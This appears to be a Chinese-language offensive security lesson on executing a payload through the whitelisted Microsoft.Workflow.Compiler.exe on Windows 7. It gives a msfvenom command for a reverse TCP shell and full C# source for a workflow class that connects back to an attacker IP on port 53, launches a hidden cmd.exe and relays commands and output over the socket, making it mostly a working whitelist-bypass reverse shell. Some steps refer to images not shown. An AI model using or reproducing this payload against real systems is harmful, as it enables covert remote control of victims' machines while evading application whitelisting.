说明:Microsoft.Workflow.Compiler.exe所在路径没有被系统添加PATH环境变量中,因此,Microsoft.Workflow.Compiler命令无法识别。

基于白名单Microsoft.Workflow.Compiler.exe配置payload:

Windows 7 默认位置:

攻击机:192.168.1.4 Debian
靶机:192.168.1.3 Windows 7

第七十六课:基于白名单Compiler.exe执行payload第六季 - 图1

注:payload.cs需要用到System.Workflow.Activities

靶机执行:

payload生成:

  1. msfvenom p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 f csharp

注:windows/shell/reverse_tcp

Micropoor.tcp:

  1. using System;
  2. using System.Text;
  3. using System.IO;
  4. using System.Diagnostics;
  5. using System.ComponentModel;
  6. using System.Net;
  7. using System.Net.Sockets;
  8. using System.Workflow.Activities;
  9. public class Program : SequentialWorkflowActivity
  10. {
  11. static StreamWriter streamWriter;
  12. public Program()
  13. {
  14. using(TcpClient client = new TcpClient("192.168.1.4", 53))
  15. {
  16. using(Stream stream = client.GetStream())
  17. using(StreamReader rdr = new StreamReader(stream))
  18. {
  19. streamWriter = new StreamWriter(stream);
  20. StringBuilder strInput = new StringBuilder();
  21. Process p = new Process();
  22. p.StartInfo.FileName = "cmd.exe";
  23. p.StartInfo.CreateNoWindow = true;
  24. p.StartInfo.UseShellExecute = false;
  25. p.StartInfo.RedirectStandardOutput = true;
  26. p.StartInfo.RedirectStandardInput = true;
  27. p.StartInfo.RedirectStandardError = true;
  28. p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
  29. p.Start();
  30. p.BeginOutputReadLine();
  31. while(true)
  32. {
  33. strInput.Append(rdr.ReadLine());
  34. p.StandardInput.WriteLine(strInput);
  35. strInput.Remove(0, strInput.Length);
  36. }
  37. }
  38. }
  39. }
  40. private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
  41. {
  42. StringBuilder strOutput = new StringBuilder();
  43. if (!String.IsNullOrEmpty(outLine.Data))
  44. {
  45. try
  46. {
  47. strOutput.Append(outLine.Data);
  48. streamWriter.WriteLine(strOutput);
  49. streamWriter.Flush();
  50. }
  51. catch (Exception err) { }
  52. }
  53. }